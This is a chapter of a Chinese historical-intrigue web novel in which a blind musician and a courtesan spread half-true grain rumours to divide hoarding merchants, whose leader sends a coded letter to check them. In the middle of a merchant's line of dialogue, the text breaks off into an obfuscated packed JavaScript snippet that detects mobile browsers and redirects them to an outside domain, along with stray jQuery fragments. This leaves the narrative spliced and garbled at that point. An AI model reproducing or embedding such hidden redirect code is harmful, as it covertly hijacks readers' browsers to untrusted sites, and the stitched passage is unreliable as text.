云徵握紧铜钱,用力点头,因先生的宽慰稍安。她快步绕过破损的门扉,快步融入了北城萧瑟的街巷。
巷口杂货铺的掌柜果如若嵁所言,听闻北城琴师要“清音坊的老弦”,浑浊的眼睛抬了抬,随即慢吞吞自柜台底下翻出一个落满灰尘的旧盒子,取出一根色泽暗却韧劲十足的琴弦。
云徵付完钱,拿起琴弦,转身欲离,那掌柜嘟囔了一句:“这‘老弦’韧是韧,就是怕潮。翠云阁临水,红绡姑娘前些日子也想找这弦,但不合用哩。”
云徵心思单纯,未曾深想,只当是掌柜闲话。她牢记若嵁吩咐,拿了弦便匆匆往回走。
行至半途,经过一条僻静小巷,一个提着货篮的妇人步履匆忙,与云徵撞了个满怀。
“哎哟。对不住,实在对不住。小娘子,这小玩样就送与你赔罪。”
那妇人手忙脚乱地帮云徵拍去衣袖上的尘土,顺手从货篮子里挑拣出一枚形制精巧的镂空铃铛递了过去。
云徵莞尔一笑,出言推辞,“没事。路不平,夫人小心。”
妇人执意相赠,云徵推拒不得,又念及先生久候,便随手将铃铛塞袖,匆匆赶路而去。
望着她离去的背影,妇人旋即快步拐进另一条深巷,转瞬便没了踪影。
云徵归至陋室,将新弦递与若嵁。展袖之际,袖间铃铛忽作“叮当”轻响。
若嵁闻声,手中动作骤顿。
“铃铛?”
问话的声音难辨情绪,却无端教云徵心头一紧。她忙从袖中取出那枚铃铛,解释其来历。杂货铺掌柜的絮叨之言,亦被她尽数详述。
若嵁伸手接过,指尖摩挲着冰凉的镂空纹路。铃铛做工精巧,绝非寻常街边货色,其声清越,余韵悠长,材质似铜非铜。
临水?怕潮?善!
她不置可否地将铃铛还给云徵。埋首开始拧紧新弦,校准音色。
指尖流泻的琴音,如淙淙流水缓和悠扬,荡出方寸陋室。
翠云阁红绡厢房
窗外湖水,于暮色中泛着幽暗鳞光,湿冷寒气悄无声息渗进来。纵燃着熏笼,也驱不散那附骨之疽般的潮意。
红绡斜倚在窗边的软榻上,昔日妩媚的眼眸如今盛满疲惫。她手中无意识地揉捏着一方丝帕,指尖冰凉。
“铃铛可送到?”
侍女将灌好的汤婆子递了回去,恭敬应道:“掌柜的一听先生要‘清音坊的老弦'',当即唤王婆子,佯作无意,将铃铛赠与云娘。”
红绡接过汤婆子,指尖触及那一点暖意,微蹙的眉却并未舒展。她目光投向窗外幽暗的湖面,眼底晦暗与迷惘交织。
“先生布局深远,非我等能及。”她揉开眉心,喟叹道,“还记得月前,先生在此抚琴,偶闻几位南边来的客商议论粮价,言及‘涨幅骇人’……”
侍女垂首静立,细心聆听。
“当时先生只作未闻。一曲终了,事后却问我,若有一日,这苍梧粮价成为困死人的枷锁,何处可寻一线生机?”红绡的指尖无意识地在丝帕上划动,“我彼时不解,先生便道,‘以利相交者,利尽则散。分而化之,一击必中。’”
红绡语气稍顿,唇角牵起一抹极淡的笑意。
“如今,一切皆如先生所言。”
侍女眸光微动,低声道:“姑娘是指……”
“临近的山阴、马邑几县,如今已是流言四起。”红绡的声音压得更低,却字字清晰,“都说漕运不日即将疏通,南边的粮船已到了津门。更有传言,道是燕王震怒,已派精锐前往各地,严查囤积,凡有逾限者,皆以资敌论处……”
侍女闻言低呼:“这般说辞,当真会有人信?”
“传闻半真半假,虚实难辨。漕运之事,必有所筹划,何时疏通却不得而知。至于王府查囤,亦非空穴来风。真话里掺上三分假,才最能搅动人心。”
红绡轻轻呵出一口气,白雾在寒冷的空气中短暂停留,“那些粮商,平日里沆瀣一气,看似铁板一块。可这‘利’字当头,一旦觉着风向要变,谁不想抢在别人前头,将手里的烫手山芋抛出去,好独善其身?”
她微微直起身,将汤婆子拢在袖中。
“参将府的廖公子能如此轻易筹得粮食,你当真以为,全是靠他廖家的名头和银钱么?”红绡意味深长地瞥了侍女一眼,“走商贩卒的消息最为灵通……商人逐利,囤货奇居落落不到好处,可不得赶忙出手?!”
侍女恍然大悟,眼中露出钦佩之色。
“原来……先生当真是深谋远虑、算无遗漏。借商贾之口传递消息,再借廖公子筹粮之事加以印证,使得流言愈发可信。如此一来,待流言传入苍梧,恐慌一起,他们内部必生嫌隙!”
红绡颔首,疲惫的眼眸中终是有了神采。她与阿弟的前路未卜,仰仗先生,或真可探出一条生路!
她再次望向窗外,夜色浓重,语气却格外笃定:
“铃铛既已作响,这盘棋,便该轮到我们落子了。去传令底下人,水流还需再急些……务必在三日之内,让这“粮道将通”的风声,吹遍大同府每一处角落。”
“是,姑娘。”侍女肃然应道,悄然退下。
红绡独自留在房中,指尖敲击窗棂的细微声响,仿佛穿透了夜色,与北城陋室的琴音遥相呼应。
与此同时,大同府,广通源总号后堂。
烛火通明,却难以驱散弥漫在堂内的凝重气氛。若嵁立下“三日毒誓”的消息,早已在第一时间传至在场之人的耳中。
“疯子!真是个疯子!”身宽体胖的钱东家额上沁着油汗,在铺着厚绒地毯的厅堂里来回踱步,宛若困兽,“生啖其肉……她怎么敢?!当真不怕那些暴民撕了她?”
他蓦地停下,愕然看向主位上依旧沉稳的孙鼎,声音里尽是惶恐:“孙翁,此事……此事透着邪性啊!那瞎子莫非真有倚仗?否则岂敢拿性命作赌?”
孙鼎慢条斯理地拨弄着手中的翡翠扳指,眼皮都未抬一下:“赌?她一个瞎子,一无所有,自然敢赌。赌赢了,她是功臣;赌输了,不过一死。光脚的不怕穿鞋的,此乃亡命之徒的惯用伎俩,何足为惧?”
他的声音平稳,安抚住了众人躁动的情绪,但眼底闪过暗芒,捻动扳指的指尖不自觉地加重了几分力道。
那盲眼琴师的应对,着实出人意料。一袋米,消弭一场阳谋;一计毒誓,破了围困之局。若燕王身边有此人襄助,只怕再难入彀,得想办法,将她除去……
“可是……”钱东家咽了口唾沫,压低
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533433|186437||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声音,“孙翁,您没听说吗?外面……外面都在传,漕运不日就要通了!南边的粮船已经到了津门!还有人说,燕王府的精锐已经出动,要严查囤积,逾限者以资敌论处!”
此言一出,在座几位粮商脸色微变。他们互相交换着眼神,惊疑不定。
这些流言他们早前便听到过,初时不以为意,可再结合那瞎子的疯狂之举,不由得他们不多想。
“慌什么!”孙鼎敛去惫懒,抬眼扫过众人,带着不容置疑的威压,“漕运疏通岂是易事?若真如此,王府何须让一个瞎子出来立这军令状?至于查囤……呵,燕王投鼠忌器,不敢擅动。”
被他眼神点过的几人眼珠轻转,笑容敷衍,似乎是另有想法。
孙鼎不由嗤笑一声,语气转冷,警告道:
“越是此时,越要沉住气。关门闭户,暂停售粮,让苍梧城彻底断粮,那瞎子‘三日之期’自然是一句空话。谁若在这个节骨眼上自乱阵脚,私自售粮,坏了大事……休怪孙某不讲情面!”
最后一句,竟是杀气凛然,不似寻常商贾。
钱东家等人噤若寒蝉,不敢再多言,但各自心中的小算盘,却在恐慌的催化下,开始悄然拨动。
倏尔,广通源总号后堂,烛火依旧,却只剩孙鼎一人。
众人唯唯诺诺地告退后,那份强撑的沉稳自孙鼎脸上剥落。他眉宇深锁,指间的翡翠扳指被捻得飞快,暴露了内心的波澜。
孙鼎并非表相那般冷静。若嵁此举,恰似一根毒刺,深深扎进他心尖,纵不流血,却如鲠在喉。
“漕运将通……王府查囤……”他低声重复着这几个词,眼神阴鸷。
若在平日,他对此等无根浮萍只会嗤之以鼻。然而,此等无稽之谈与琴师那近乎自毁的疯狂缠作一处,竟莫名令他觉得合理。
世人皆惜性命,她偏能如此镇定——除非,她笃定自己绝不会死,更笃定这局乱棋,三日内必有逆转。
这背后,究竟是虚张声势,抑或是确有其事?
他不能赌,也不敢完全不信。尤其是那几个墙头草,眼神飘忽,恐怕已有异心。
必须尽快确认!
孙鼎豁然起身,快步走到书案前。铺开素笺,他提起笔,却悬停片刻。
不可直白相问,易留把柄。
他略一沉吟,笔尖落下,措辞谨慎:
「大人钧鉴:
北地春寒料峭,商事颇多阻滞。近闻南货流通似有舒缓之象,未知大人可有听闻?另,各地官仓稽查之风渐起,恐扰市舶常序,敢问上意如何,以便麾下人等遵循,免生差池。」
孙鼎吹干墨迹,装入特制的竹筒,用火漆封好,盖上印记。
“孙福!”他沉声唤道。
一直守在门外的老仆应声而入,垂手听命。
“即刻将此信发出,以最快的途径,务必亲手交至……”孙鼎压低声音,交代接收之人和方式,“得到回信,第一时间报我!”
“是,老爷。”孙福小心翼翼接过竹筒,贴身藏好,无声退去。
孙鼎独倚窗前,望窗外夜色沉沉,似能见暗潮在昏暗中翻涌。
盲眼琴师的身影,与那些真伪难辨的流言,无声交织成一张巨网,正在缓缓朝他笼下。